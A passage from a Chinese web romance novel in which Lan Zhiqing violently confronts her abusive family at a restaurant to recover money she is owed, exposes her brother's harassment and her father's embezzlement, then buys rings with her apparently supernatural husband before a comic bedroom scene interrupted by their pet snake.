白蛇被沈寂训斥了一通不说,沈寂还把剩下的苹果全部都丢进了垃圾桶,它只能可怜巴巴地趴在窝里看着。 “不要这样吧……” 兰稚青觉得沈寂这样的教育方法实在有问题,可是她才刚刚张嘴,沈寂就已经打断了她。 “没事的宝宝,别害怕了。” 他低头亲了一口兰稚青的脸颊,想要推着她回房间,“时间还早,再回去睡一会儿吧,早餐做好了我再喊你。” 兰稚青被沈寂硬生生推回了房间,她坐在床上沉默了许久,还是有些放心不下,小心翼翼打开房门朝客厅走去。 趴在窝里的白蛇看起来整条蛇都蔫了,及时看到了兰稚青它也不敢贸然靠近,只是把头从窝里探出来看着她。 兰稚青有些心软,家里没了苹果,她又重新拿了一大盒草莓,坐到了白蛇的身旁,谆谆善诱道:“蛇蛇是不准上床睡觉的……” 兰稚青话说到一半又 猛然顿住,她仔细思考了一下,觉得之前可能是沈寂一直容许白蛇上床睡觉,所以它才会爬床爬得这么熟练。 她改口道:“妈妈睡觉的时候,你不准爬到妈妈的床上,听明白了吗?” 白蛇懵懂地点了点头,兰稚青满意拿起一颗草莓喂到了它的嘴里。 她又教导道:“以后不准随便开爸爸妈妈房间的门,知道了吗?” 白蛇闻言再度点了点头,兰稚青又给它喂了一颗草莓。 …… “宝宝,不要再喂了,过来吃早餐吧。” 沈寂将盘子放到了桌子上,兰稚青正好把最后一颗草莓喂进蛇嘴里,她拍了拍蛇头,自己颇为愉快地洗手吃饭。 饭桌之上,兰稚青对着香喷喷的虾仁锅贴大快朵颐,坐在她对面的沈寂沉默盯着她,一口饭都没吃。 “你怎么又不吃饭?” 兰稚青咬着筷子打量着沈寂,纳闷道:“你是不是生病了。” 这都两顿不吃饭了,沈寂不会真的得什么大病了吧。 沈寂闻言再度挤出了一个完美无缺的笑容,“我没事,刚刚在厨房试味道的时候吃了一点,现在还不饿。” 没了苹果还有草莓。 ……他就应该把家里除了凤梨以外的所有水果都丢出去。 兰稚青半信半疑,不过她并没有多问,埋头吃完饭后立马又去换了衣服收拾了一下,准备去警局再次做笔录。 “蛇蛇,爸爸妈妈要出门了,你要自己乖乖待在家里哦。” 沈寂陪着兰稚青一起去警局,偌大的家里只剩下一条蛇,兰稚青还有点担心,忧虑道:“家门要不要锁起来啊,它万一开门跑出来吓到人怎么办。” “没关系,它顶多就是在家里转转,不会乱跑的。” 正如沈寂所说,白蛇在两人走后绕着家里转了一圈,而后又默默用蛇尾打开了主卧的房门,慢吞吞又蹭到了床上,把自己埋在带有兰稚青气味的被子里。 由于兰稚青的不在场证明足够充分,再加上那个咖啡杯的来源确实十分可疑,这一次做笔录只是问了一下她和于琦的社交圈有没有重叠,以及她有没有其他的相关线索。 兰稚青对此全部实话实说,不过半个小时便顺利结束。 现在时间还很早,正好还可以出去逛一逛。 沈寂把家里的苹果都扔了,那蛇就没得吃了,要不要再多买点苹果回去…… 兰稚青沉思走出审讯室,刚要准备离开,一道熟悉的声音就突然开口喊住了她。 “青青。” 冯丹坐在审讯室外的长椅等着她,看到兰稚青出来,她连忙快步凑了上去。 兰稚青看到冯丹明显一愣,她有些诧异地看了她一眼,问道:“你怎么会在这里?” “我老同学在这里工作,听说你被牵扯进了案件里,所以特地过来看看你有没有什么需要帮忙的。” 冯丹朝兰稚青友善笑了笑,她今天打扮的很用心,妆容也格外精致,看起来像是即将要去参加什么重要的聚会。 兰稚青闻言不置可否,径直无视了她就要离开。 “哎……青青你等一等。” 冯丹见兰稚青要走,她连忙快步上前拦住了她,温声道:“我听说你这两天因为读研的事情和家里闹矛盾了。” “青青,你别和他们那些人计较,老人家嘛还是那些年的旧思想,嫂子是支持你的。” 冯丹格外真挚地开口道:“现在早就不是旧时代了,女孩子就是要多读书,你上的大学那么好,要是能再读个研究生那多好啊,学费的事情你也不用担心,哪怕你爸妈不出,嫂子也愿意给你出这个钱。” 她可已经听孙想说了,兰稚青傍上了一个高富帅,两个人甚至不是正在交往的男女朋友,而是已经领证结婚了。 如果说从前兰稚青还是一个金鸡蛋,那现在她就是可以无限下金鸡蛋的金鸡。 兰智刚和他那个爹妈一样,一点都不知道审时度势,这种时候还不知道表表忠心把兰稚青留住,人家兰稚青现在还差读研的那几个钱吗,要的不就是一个态度。 “……兰智刚是这么和你说的?” 兰稚青闻言神色却变得有些微妙,她再度确认道:“兰智刚说,我和家里闹翻的原因是因为家里不愿意给我出读研的学费?” 冯丹闻言愣了一下,连忙又安慰道:“嫂子当然知道不止是这样,其实家里的情况我也知道,叔叔阿姨比较偏心哥哥弟弟,老一辈人重男轻女的思想一时改不过来……” “所以你找我到底是想干什么?” 兰稚青懒得在这里听冯丹废话,她直接了当问道:“你到底有什么事?” 冯丹被兰稚青过于直白的话问住,她的脸上闪过些许的尴尬,解释道:“也没什么事,我就是想着过来缓和缓和关系……” “哦,原来是这样。” 兰稚青笑了笑,故意道:“有的话还是当面说比较好,我倒是想见见我爸妈和他们好好说一说,不过现在一时半会儿也回不去。” 她的三万八还没还给她呢,当然得见面好好说一说。 “你要是想和叔叔阿姨见面的话,要不今天中午和我们一起吃个饭怎么样。” 冯丹见状以为是自己的劝说起了作用,她也顾不得兰智刚对自己的警告,直接开口道:“我们两家今天中午在市里的春盛酒楼商量结婚的事情,青青你要不也一起过来吧,毕竟都是一家人,哪里还能有隔夜仇呢。” “那你等我一下,我去问问。” 兰稚青没有直接回答冯丹,而是走出警局轻轻敲了敲沈寂的车窗。 沈寂被兰稚青要求留在车上,他明显有点不太高兴,看到兰稚青过来,他下意识想要打开车门,可是却被兰稚青又推了回去。 “我有个问题要问你。” 兰稚青斟酌了一下自己的言辞,真诚问道:“如果我打人进去了,你能把我捞出来吗?” 沈寂闻言一怔,真的非常认真地开始思考起了这个问题。 “这要看你有没有把人打死。” 沈寂思索了一下,谨慎道:“如果没死的话,当天我就能把你捞出来,如果死了的话……” “这个情况就不用考虑了。” 兰稚青得到了满意的回复,她慢吞吞朝冯丹走了回去。 冯丹打开手机拍下车的款式搜了搜,查到价格后眼睛无疑更亮了,她看到兰稚青朝自己走来,笑眯眯道:“青青,怎么样,今天中午要和我们一起吃饭吗?” 兰稚青粲然一笑,点头道:“嗯,我想了想,有的事情确实还是当面解决比较好。” 第43章 第43章我要给你买戒指 兰稚青向冯丹确认了一遍他们中午吃饭时的具体时间,这才慢悠悠又回到车上。 “那个人……是兰智刚的未婚妻吧。” 沈寂不太愿意承认这样的人是兰稚青的哥哥,所以干脆直呼其名,皱眉问道:“她刚刚又来骚扰你了?” “这回可不能算骚扰。” 兰稚青没有直接告诉沈寂实情,反而是开口道:“我们今天午餐去春盛酒楼吃吧。” “宝宝,你饿了吗?” 沈寂对去哪里吃饭倒是没什么意见,只是他扫了一眼时间,确认道:“现在才十点钟,你要吃午餐吗?” 他有些委屈抿了抿唇,试探问道:“是我今天早上做的早餐不太合你胃口吗?” “什么?” 兰稚青闻言愣了一下,连忙摆手解释道:“不是不是,我早餐吃饱了的,但是你早上不是没怎么吃……” “……” 沈寂想到兰稚青喂蛇的那一大盒草莓,他神色微僵,委婉道:“其实我现在也不是很饿……” “没关系,饿不饿的随便吃两口也行,反正是免费的,不吃白不吃。” 沈寂并没太弄明白兰稚青到底是什么意思,不过他还是开车带兰稚青先去了她所说的春盛酒楼。 门口负责接待的服务生一看到两人连忙迎了上来,笑容满面问道:“您好,请问二位有预约吗?” 兰稚青面不改色,直接报出了兰智刚的名字,“有一位兰智刚先生是不是预约了今天的包间。” “稍等,我帮您查一下。” 服务生请前台查询了一下系统,点头道:“没错,兰先生预约了今天下午一点钟的包间,请问您二位是一起的吗?” 兰稚青摇了摇头,“不是,麻烦帮我们重新开一个包间吧。” 服务生闻言有些为难,解释道:“不好意思,我们的普通包间目前都是需要提前预定的,目前只有大一点的临海包间空着,但是按照我们这里的规定低消是五千。” “那就要这个。” 兰稚青闻言爽快拍板,看起来就像个有钱没地花的富婆,连带着乖巧跟在她旁边的沈寂都像是个小白脸。 果然脸长得好看就业机会就是多啊…… 服务生在心里暗自羡慕了一下,连忙让前台做好登记,带着两人一起上楼。 “这是菜单,麻烦您二位看一下。” 服务生优先将菜单递到了兰稚青的手里,解释道:“我们店食材很多都是现捞现捕,当天送过来的,如果提前预定的话会有额外的特色菜可以选,但是您二位今天来的突然,所以只有常规菜单。” 春盛酒楼是本地很出名的私房菜,人均价格自然也不低,兰稚青随手翻了翻菜单,不管自己爱不爱吃,反正一律都挑贵的点。 兰智刚尚且不知自己今天又要大出血一番,他一早就准备好了礼品,开车带着父母一起来到市区,准备和冯丹的父母见面吃饭。 “智刚,你联系上你小妹了没有啊,我怎么前两天听小正说她还进警察局了。” 兰母从一坐上车就开始说个不停,担心道:“她现在住哪啊,你不是说丹丹有朋友是当警察的吗,你让她托关系打听打听啊。” 兰智刚闻言立马翻了个白眼,“妈,你管她干什么,她不是都把咱家人拉黑了,指不定现在在哪鬼混呢。” “那万一……” “行了行了,别说了。” 兰父一脸烦躁地打断了兰母的话,没好气道:“你还想今天把她请过来一块吃饭啊,到时候闹起来丢不丢人,一个丫头片子……就为了这么点事和家里人翻脸,这就是不孝!” 兰母闻言神色有些复杂,张了张嘴还是不知道自己该说些什么。 兰父是村里的村主任,在村子里颇得敬重,手里稍微有点权力就敢指点江山,再加上他脾气大,在家里一向是说一不二,略微有点不顺心的事情便张口就骂,这些年来兰母也算是一直忍气吞声。 “都是你那个什么老同事的错,他当人拐子先拐到熟人家里来了。” 兰母没忍住抱怨道:“我当时就和你说了你别骗她别骗她,现在好了吧,养这么大说翻脸就翻脸。” “这事能怪到我头上吗,当初说好要把她送走那还不是家里实在没钱了,她要是真的跟着去了国外那不就是享福。” 兰父丝毫不愿意承认这件事是自己的过错,执意道:“当时她回来后住院生病我一家一户给她借钱看病,她怎么就不知道记我点好,这不是不孝是什么?” “爸,你这话可说对了,她这就是不孝,说拉黑就拉黑,也不想想是谁把她养这么大的。” 兰智刚见父母又要吵起来,他连忙附和兰父的话,又补充说道:“我和丹丹说兰稚青是因为读研的事情才闹的,到时候你们可别说漏嘴了啊。” “知道了知道了,这么点事用不着你强调那么多遍。” 这一路好说歹说总算是平安到达了,冯丹一家人还没到,兰智刚主动下车帮兰母开车门,小声道:“妈,你也别生气,我爸就那个脾气,等今天和丹丹她爸妈吃完饭,我就去打听打听兰稚青的情况。” “就是说啊,好歹也是一家人,以后还不得是你们三兄妹一起互相帮衬着,你爸这个人就是和他说不明白……” 兰智刚倒是真没有什么和兰稚青互相帮衬的想法,他只不过是听冯丹说兰稚青和一个有钱人结婚了,想着到时候两家吃完饭,再请兰母出面帮着调和调和。 他到时候结婚,兰稚青这个当妹妹的总得表示表示吧。 一家三口各怀心事走进大堂,比他们提前先来了一步的兰智正见状连忙凑了上去。 “爸妈,大哥。” 兰智正讨好地朝他们笑了笑,“你们来了啊。” 兰父一看到他就窝火,抬手欲打,“你这个臭小子,这两天跑到哪里鬼混了,和你姐说那些不着调的话就算了,你还敢不回家……” “爸,别这样,这是在外面呢。” 兰智刚见状连忙拦住了兰父,碰巧冯丹也带着父母匆匆赶到,看到兰家一家人聚在大堂里不由得一怔,连忙开口道:“智刚,你们干嘛都在这里等着,怎么不带叔叔阿姨先进去啊。” 碍于未来亲家已经来了,兰父也不好继续发脾气,只能又挂上了笑脸。 服务生带着他们前往预定好的包间,两家父母在那里彼此寒暄,冯丹却拉着兰智刚走在了后面。 冯丹脸上带着得意的笑容,小声道:“老公,你猜我今天去哪里了?” “去做造型了?” 兰智刚上下打量了她一眼,吹捧道:“怪不得今天这么漂亮,刚刚一看见我还以为是仙女下凡了呢。” “滚,正经一点儿,现在在外面呢。” 冯丹含嗔带怒地瞪了他一眼,压低声音道:“我今天去警局了。” “警局?” 兰智刚心里突然浮现出一丝不好的预感,连忙问道:“你去警局干什么?” “还能干什么,当然是堵你妹妹啊。” 冯丹笑了笑,得意道:“她已经答应我今天要过来一起吃饭了。” “你脑子有病啊,闲的没事请她过来干什么……” 兰智刚闻言声音猛然拔高,走在前面的几人闻声下意识看了过来,他连忙讪讪闭上了嘴。 他让兰智正先跟着两家的父母进去,自己冷着脸把冯丹拉到了一旁,皱眉道:“你现在赶紧给她打电话,让她别来了。” “我要是有她的电话还用得着一大清早去警局堵她吗?” 冯丹揉了揉被兰智刚扯痛的手腕,没好气道:“你现在这是什么态度啊,我好心帮你,你还对我横鼻子竖眼的。” “宝贝,算我求求你行不行,你也不想想兰稚青那个脾气,你非要挑咱们两家人见面的时候把她找过来,你也不怕她把桌子给掀了。” “我这不是想着有外人在,她会顾忌着点不会太过分,这还不都是为了你们家的面子考虑。” 冯丹不太高兴地皱了皱眉,开口道:“再说了,不就是研究生学费那点破事,我都和我爸妈说了,到时候在饭桌上,我就直接说先不买房了,先供你妹妹读完书,你一会儿也去和你爸妈通通气。” “什么?” 兰智刚闻言愣住,难以置信道:“你真疯了吗。我们凭什么不买房结婚要去供那个贱丫头结婚啊?” “舍不得孩子套不着狼你懂不懂!而且谁说房子不买了,我这两天楼盘都看好了,年后我们就去现场看房。” 冯丹瞪了他一眼,耐心道:“你也不想想,兰稚青找了个那么有钱的对象,她还用得着我们给她出学费吗?你们一家人怎么都绕不过弯来。” 她一直觉得兰家人很没有脑子,为了几万块钱的学费就和兰稚青闹得那么僵,简直就是丢了西瓜捡芝麻。 “我说这话也就只是说说,跟她表表态度示示好,她现在手指头缝里漏出一点来都够咱们回本了。” 冯丹打开手机给兰智刚看自己今天拍下的照片,“这是兰稚青今天去警局开的车,价格比咱们之前看到的还贵。” “你就相信我吧,小姑娘都是心软的,拉下面子来好好哄一哄肯定就好了。” 可 是兰智刚闻言神色却变得更加焦躁了。 如果是普通的小姑娘,如果这真的只是因为研究生学费的事情,或许冯丹的做法的确是有用的。 可问题是那不是普通的小姑娘,是这次回来像是发了疯一样的兰稚青。 这事情也不是几万块钱的研究生学费,而是骗了兰稚青十多年的事情被她发现了真相。 兰智刚觉得自己再度陷入了进退两难的地步,他总不能实话实说告诉冯丹他爸妈当年差点把兰稚青卖给人贩子吧。 “哥,嫂子,你们怎么还不进去啊。” 兰智正许久都没有见到他们进来包间,只能出来提醒他们,“大家都等着呢。” 兰智刚没办法,只能先和冯丹一起回到包间,心想到时候走一步看一步。 这两家人在包间里其乐融融点菜寒暄,兰稚青这边却已经快要吃饱了。 虽然说当时她是打着让沈寂吃饭的名头来的,可是菜上了之后才发现还是她吃的更多一点。 她在那里嗷呜嗷呜埋头苦吃,沈寂负责给她夹菜剥虾当一个合格的小白脸。 可是负责服务这个包间的服务生越看越觉得两个人关系不太对劲。 “你不能这样教育孩子的,苹果你扔就扔吧,你还当着孩子的面扔,你知不知道那对它幼小的心灵会造成多大的伤害。” 兰稚青还对今天早上沈寂的做法耿耿于怀,“你这样做会让它觉得我这个新妈妈也是坏人的。” 服务生倒水的动作微顿:“……” 嗯? 新妈妈? 这小白脸傍富婆还带个拖油瓶? 沈寂闻言耐心解释道:“我这也是没办法,你也知道它不太聪明,不这样做它记不住教训的。” 服务生:“……” 什么? 拖油瓶还是个傻子? “你对它的要求不能这么高,它不聪明有人照顾不就好了。” 兰稚青有些忧虑,问道:“你说它是不是不太喜欢现在住的环境啊,要不我们还是回A市住吧。” “你别多想,它当然是喜欢的。” 沈寂见兰稚青放下了筷子,温声问道:“吃饱了吗宝宝,一会儿还得做剧烈运动,吃的多点才有力气呀。” 兰稚青咽下了嘴里的虾仁,随口回答道:“话虽如此,但也不能吃太饱,不然很影响发挥的。” 服务生难以置信瞪大了眼睛。 吃完就做吗?! 这话说的是不是也太直接了一点。 兰稚青满意擦了擦嘴,随口问道:“17号包间的兰智刚先生来了吗?” “稍等,我帮您问一下。” 服务生连忙用传呼机问了一下前台,确认兰智刚已经来了这才回答道:“兰先生已经来了。” “那就行,一会儿我们两个包间的钱算在一起。” 兰稚青慢吞吞站了起来,“麻烦现在带我去一下17号包间。” 服务生以为兰稚青是和兰智刚相熟,所以并没有多想,直接领着人就往兰智刚所在的包间去。 兰家四口人和冯家三口人正在里面你来我往互相客套敬酒,服务生刚刚抬手准备敲门,可是兰稚青让沈寂在外面等她,自己毫不犹豫直接推门而入。 原本还算热闹的包间在一瞬间陷入了诡异的寂静。 冯家父母一脸茫然,兰家父母满是诧异,兰智正像是老鼠见了猫,兰智刚像是活生生看见了鬼。 唯有冯丹的反应最为正常,她见兰稚青真的过来了,连忙起身招呼道:“青青,你终于来了,快来这里坐吧。” 兰稚青面带微笑的关上了包间的门,“这么巧,大家都在啊。” 冯母看向冯丹问道:“小丹,这位是……” 冯丹连忙介绍,“妈,这是智刚的妹妹稚青啊,上次订婚的时候我们不是见过吗?” “哦,原来是青青啊,你看看我这记性,青青,快坐快坐,正好菜都已经上齐了。” “坐我就不坐了,我过来主要是为了跟我爸要钱。” 兰稚青慢条斯理道:“在断绝关系之前,我得把你们之前欠我的三万八要回来才行。” 兰父闻言勃然大怒,他猛然站了起来,指着兰稚青的鼻子张嘴就骂,“你现在在这里跟谁张嘴要钱,你书都读到狗肚子里去了,还不赶紧滚!” 兰母见状连忙想要把兰父拽回座位,却见兰稚青慢吞吞朝他们走了过来,似笑非笑道:“你出车祸时手术费我出了三万八,你是不打算还了,是吗?” 兰父猝不及防被兰稚青这么质问,他脸都快要被气绿了,抬手直接一巴掌朝兰稚青扇了过去。 兰稚青往后一退躲了过去,立马眼疾手快一耳光扇到兰父的脸上,抓起旁边的冷碟糊了他一脸。 “你疯了,你连爸你都敢打……” 兰智刚见状脸色大变,他下意识上前想要打兰稚青,兰稚青直接一脚踹向了他的肚子,抓着他的头发直接往桌子上磕,兰智刚立马发出了凄厉的惨叫。 冯家父母吓得脸都白了,抱着自己已经吓傻的女儿不敢有任何动作。 兰父被兰母扶了起来,他整个人气得直打哆嗦,厉声道:“报警!兰智正你还愣着干什么!赶紧报警!” 兰智正闻言哆哆嗦嗦拿起手机,可是他又怕兰稚青在警察来之前把他们真的都给打残废了,整个人僵在原地不敢动弹。 “报警,当然得报警。” 兰稚青对此无动于衷,她有些神经质地轻笑了一声,慢条斯理道:“去了警局之后我就要先去说说十五年前你是怎么和人贩子合伙卖自己的亲生女儿的,哦对了,还有你贪污村里公款的事情也不能忘了。” 冯家父母闻言下意识了看向满脸菜汤的兰父,明显没想到只是过来吃个饭结果却卷入了家庭大战。 “你……这种事情你是从哪知道的?” 兰父看向了身旁的兰母,直接把她推到了地上,破口大骂道:“你是想把我们一家都害死是吧!” “哇,你还真的贪污了啊。” 兰稚青见状嗤笑了一声,一脸无辜道:“我本来只是想和你开个玩笑,没想到你竟然是真的。” 本来她对兰父贪污的事情只是抱有怀疑,毕竟他们家里算不上富裕,家里这么多人只有兰父一人有工作,可是他却能每个月给兰智正三千的生活费,甚至还有钱给兰智刚买房付首付。 那么多的钱总不能是天上掉下来的吧,思来想去也就只有一条途径了。 “你这个逆女……” 兰父被兰稚青戳穿了自己的心事,他的脸色青白交加,像是被掐住脖子的公鸡哑了声音。 “少在这里说废话,三万八,快点还我。” 兰稚青抓着兰智刚的头邦邦敲了两下桌子示威,兰智刚最开始还对她破口大骂,可是后来发现自己越挣扎兰稚青就用力越大,他只能改口求饶。 “稚青,你放开哥吧,哥现在真的头晕。” 兰智刚鬼哭狼嚎道:“爸,你快把钱还给她!” 兰父哆嗦着从自己的包里翻出手机,可是这次他却不敢再打电话报警,生怕兰稚青脑子一抽和他们一起鱼死网破。 兰稚青口齿清晰地报出了自己的银行卡账号,兰父忍气吞声把钱打到了她的卡里。 被吓傻的冯丹终于回过神来,她现在万分后悔自己今天过来请了兰稚青,让今天好好的一场家庭聚餐变成了惨案。 此时见兰智刚已经在兰稚青手底下没了声音,她吓得脸色苍白,连忙道:“青青,钱也已经还给你了,你快把你大哥松开吧。” “怕什么,他又不会死。” 兰稚青扯着兰智刚的头发用力了些许,兰智刚倒吸了一口冷气,立马又开始呲牙咧嘴的求饶。 “小时候他抓着我的头发打我的时候就说了,这点小事肯定死不了人。” 兰稚青把鼻青脸肿的兰智刚松开,她见冯丹立马上前想要查看兰智刚的情况,含笑道:“差点忘了,你们是不是还不知道他被公司辞退的理由。” 兰智刚闻言脸色大变,他下意识就要扑上来打兰稚青,结果又被兰稚青一脚踹飞。 “他是因为在公司骚扰女同事,半夜给别人发无衣物照片被辞退的。” “什么?!” 冯丹闻言脸色大变,她尖声质问道:“你不是说你是业绩不好才被公司辞退的吗!” “宝贝你别 听她瞎说,这都是没有的事……” 【小赵,睡了吗,我看你朋友圈照片挺好看的,哈哈,我也没有别的意思,就是问你平时穿不穿黑丝啊?】 兰稚青掏出手机播放自己昨天刚刚从受害者那里拿到了语音记录。 【我刚刚练完,要不要约一下?】 【有女朋友怎么了,她哪有你漂亮,要是咱俩好了,我明天立马把她甩了。】 兰智刚的声音在寂静无比的包间内循环播放。 最先反应过来的是冯丹,她难以置信地看向兰智刚,抓起身旁的椅子就要朝他砸过去。 “流氓!你到底还要不要脸了!” “不是……宝贝,你听我解释……” 冯丹抓着椅子砸到兰智刚的身上,整个包间再次乱成了一团,兰稚青满意开门离开。 服务生只听到里面噼里啪啦的声音和一阵接着一阵的争吵声,他想要进去查看或是报警,可是沈寂一直盯着他,丝毫不给他任何机会。 他眼见着兰稚青慢条斯理地走了出来,顺着门开的缝隙,他看到了里面的惨烈景象,一时间噤如寒蝉。 “所有的钱都让里面的兰先生付。” 兰稚青扔下一句话后拉着沈寂离开,直到走出大门,接触到外面的光线,她才终于意识到自己刚刚做了什么。 她做了自己前二十多年以来从未做过的事情。 她靠着自己拿回了属于她的东西,虽然这和她失去的比起来实在微乎其微,可是她真的做到了。 兰稚青有些茫然地看着眼前飘落的雪花,喃喃道:“下雪了……” 沈寂弯了弯眉眼,笑眯眯道:“嗯,所以我们要不要快点回家……” “先不回家。” 兰稚青毫不犹豫打断了沈寂的话,她开口道:“我有东西要买。” 沈寂闻言一怔,他仔细回想了一下,记得兰稚青说过要给他买礼物,心思立马又变得雀跃了起来。 他觉得这应该是一个惊喜,所以没有去问兰稚青到底要买什么,只是看到她捧着手机冥思苦想不停打字,心里不由得涌现出些许甜蜜。 之前他们还线上交流的时候,兰稚青倒是经常会给他写各种可爱的小作文,后来两个人线下见面之后,她别说写了,从她嘴里连句好话都难得能听见。 真是的……都是老夫老妻了,还搞得这么隆重。 趁着等红绿灯的间隙,他悄悄凑过去看了一眼,只见兰稚青的手机屏幕上明晃晃写着—— 【本人兰稚青,身份证号(XXXXXXXXXXXXXXXXXXX)实名举报F市昌华区双水镇小沟村村主任兰国强贪污村内公款……】 沈寂:“……” “怎么了?” 兰稚青见沈寂盯着她的手机屏幕,随口解释道:“我顺手举报一下社会蛀虫。” “哦。” 沈寂默默移开了自己的视线,平静道:“……那挺好的。” 兰稚青把自己编辑好的举报信发了出去,转而又拿着手机仔细开始钻研了许久,为难道:“你觉得白色,红色,紫色和绿色哪个更好一点?” 沈寂闻言眨了眨眼,略带矜持道:“白色吧,我比较喜欢白色。” “可是白蛇穿白色有点奇怪吧。” 兰稚青想了想,还是选了红色,“穿红的吧,红色的过年比较喜庆。” 沈寂刚刚扬起的笑容顿时僵在了脸上。 ……竟然还不是要送给他的吗? 不对。 四舍五入也算是送给他的…… 兰稚青不知道短短的一段路沈寂就已经完成了好几次大起大落的心路历程,她眼见着到了目的地,立马迫不及待下车。 沈寂被兰稚青一路拉着走进了商场,兰稚青目标明确,径直上了三楼走进印着巨大品牌LOGO的门店。 “您好,请问有什么需要……” “我要戒指。” 店员的话还没来得及说完,兰稚青就已经说出了自己的诉求,“我的预算在四万,想要一款男士戒指。” “你要送我戒指?” 沈寂闻言猛然侧头看向兰稚青,难以置信道:“你真的要给我买戒指吗?” “嗯,你不是一直想要吗。” 兰稚青抿了抿唇,小声道:“虽然我知道你有不少更贵更好的戒指,但是我想买给你。” 她自己为了隐瞒已婚的事实从来不会戴戒指出门,但是巴不得昭告天下自己已婚身份的沈寂却出门必戴。 她知道沈寂其实非常在意这件事,虽然钱不多,但是她想买给沈寂一枚戒指,借此回应他之前所有的付出。 店员按照兰稚青的预算挑了几款拿给她看,兰稚青把选择权交给了沈寂,可是沈寂盯着戒指看了片刻,突然开口道:“有对戒吗?” 店员闻言委婉道:“先生,如果是对戒的话这个预算只能买到毕竟素净一些的款式。” “没关系,就要对戒。” 兰稚青闻言一怔,她没有开口制止,任由沈寂挑好戒指戴到她的左手无名指上。 她盯着手指上那枚戒指,眼睛不知为何有些微微发酸,她轻声道:“其实你完全可以选更好的……” 如果沈寂不去适应她,他或许可以拥有更好的生活,就像是她手上的戒指一样,她努力拿回来的钱,可是都不够给沈寂买一个带钻的。 明明大小姐平常最喜欢亮晶晶的东西…… 兰稚青有一种莫名的赘婿挫败感,可是沈寂却似乎真的格外喜欢,认真道:“不要,我就喜欢这个。” “结婚第一百一十一天纪念日快乐。” 兰稚青冷不丁开口,沈寂闻言愣了一下,他眼圈微红,难以置信道:“原来你还记得……” 他突然紧紧抱住了兰稚青,哽咽道:“我还以为你忘了这么重要的日子呢……” 兰稚青:“……我怎么可能会忘呢。” 本来她确实是真的忘了,但是她前两天发现了沈寂藏在衣帽间角落的兔兔睡衣,上面正好写着今天的日期。 调整好情绪的沈寂松开了她,他勾了勾兰稚青的手指,感动道:“你可以去付款了。” 兰稚青闻言点了点头,刚刚到手的钱以这种形式离开了她的账户,她觉得这是最好的处理方式。 就像是她现在看到自己手上和沈寂一样的戒指,什么王子和灰姑娘,赘婿和大小姐,他们现在明明就是最合适的爱人,他们在一起有一个家,家里还有嗷嗷待哺的两个娃…… “我们回去吧。” 兰稚青主动牵住了沈寂的手,认真道:“蛇蛇和妮妮还在家里等我们呢。” “宝贝稍微等一下。” 沈寂抱着她亲了一口,转头对店员道:“麻烦耳环项链手链手镯戒指都拿一下给我们看看,不考虑预算,要带钻的。” 兰稚青:“……” 她现在立马收回刚才所有的幻想! 兰稚青再度成了沈大小姐的芭比娃娃,沈寂今天明显是兴奋过头了,他本来买东西就不看价格,现在更是像在囤货一样,买钻石就像是在买大白菜,店员看他就像是在看行走的财神爷。 好不容易等到沈寂过足了瘾,兰稚青才终于能得到解脱。 “宝宝,你也爱我对不对,你要是不爱我就不会给我买戒指了……” 沈寂在 外面的时候靠买钻石压制自己的情绪,现在开车回到家四下无人之际更是连掩饰都不想掩饰。 他刚进家门就已经迫不及待吻上了兰稚青,兰稚青有些生涩地回应着他,在他的手指试图更进一步的时候却选择了阻止。 兰稚青像只无尾熊一样缠在沈寂的身上,她有些警惕的环视了一圈四周,小声道:“蛇蛇还在呢……” 她可没忘了现在家里已经不仅只有她和沈寂两个人了,现在客厅的汉堡窝里还有一条超级大胖蛇。 “没关系的,它已经睡着了。” 沈寂能感受到白蛇正在呼呼大睡,所以他干脆直接把兰稚青压在玄关的墙面上,手指也紧跟着放肆了起来。 “乖乖,你亮晶晶的好漂亮……” 兰稚青在接吻的空隙轻喘道:“什么亮晶晶的……黑灯瞎火的你能看到什么。” “就是亮晶晶的,哪里都亮晶晶的,尤其是眼睛……” 沈寂顿了顿,他的手指突然划过了内壁,兰稚青立马闷哼了一声。 他抿唇一笑,轻声道:“这样就变得更加亮晶晶了。” “不行……先回房间。” 兰稚青呼吸逐渐变得急促,她下意识抱紧了沈寂的脖颈,可还是坚持不在这里。 虽然说蛇不是人,但是她总觉得被蛇旁听也会有一种莫名的羞耻感。 “我还给你准备了其他惊喜,你难道不想回房间看看吗?” 兰稚青犹豫了一下,还是主动凑到沈寂的耳边,声音微不可闻道:“……主人。” 沈寂闻言一怔,在黑暗之中,他的眼眸因为兴奋而变成了竖瞳,可惜兰稚青对此都一无察觉。 两人抱成一团跌跌撞撞回了卧室,沈寂甚至都没来得及开灯,就直接把兰稚青推到了床上。 他在黑暗中和兰稚青接吻,顺便还帮她脱了一下衣服,兴奋道:“主人已经把兔宝宝安全送到卧室了,现在是不是也该回报一下主人了?” “你等一下嘛……” 兰稚青推了推他,摸索着把手伸进了被子,想要去拿自己今天早上藏好的透明兔兔睡衣。 她漫无目的地摸索了一阵,手指却突然触到了奇怪的东西。 “……这是什么东西?” 兰稚青有些茫然,她本来想直接掀开被子找找,可是沈寂却又把她压回了床上。 “兔宝宝是偷偷藏了衣服还是尾巴?” 沈寂轻轻含住她的唇瓣,含糊不清道:“找不到就别找了,其实我在衣帽间里还藏了一套……” 兰稚青挣扎着和它分开,坚持道:“不行,一定要找到。” 她藏的就是沈寂藏的那套。 沈寂趁机含住了她的指尖轻咬,好奇道:“什么东西啊,这么神神秘秘的……” “你等我好好找一找,明明就藏在被子里的啊……” 兰稚青话音未落,被吵醒的白蛇茫然从被子里探出了头,身上还挂着透明薄纱款兔兔睡衣,在黑暗之中和两人面面相觑。 兰稚青:“……” 沈寂:“……” 白蛇:“……” 第44章 第44章不要摸尾巴 “它怎么会在这里?!” 率先反应过来的兰稚青尖叫了一声,她下意识把面前的沈寂推开,抓起被子就要往自己身上裹。 沈寂连忙打开了灯,明显也没预想到白蛇会在这个时候出现在这里。 他们回来的时候它确实是睡着了,但是睡的不是它自己的汉堡窝,而是他和兰稚青的床。 白蛇身上的被子猝不及防被兰稚青卷走,它身上挂着的透明睡衣皱皱巴巴的,尾巴还卷着兰稚青的兔子玩偶,看起来似乎还有些茫然。 它看到兰稚青回来下意识想要过去蹭她,裹在被子里的兰稚青吓了一跳,大惊失色道:“你对妮妮都做了什么!” 沈寂眼疾手快一把掐住了白蛇,咬牙切齿从它的尾巴尖抢走了兰稚青的兔子玩偶,连带着身上的透明兔兔睡衣也一并扯了下来。 不成体统,简直就是不成体统! 他从来没有见过这么厚颜无耻的蛇! 身上穿着他买给老婆的睡衣,睡着他和老婆的床,怀里抱着他和老婆的娃,甚至还要打断他和老婆结婚一百一十一天纪念日的口口口口口口口口,一条蛇怎么可以不要脸到这种程度! 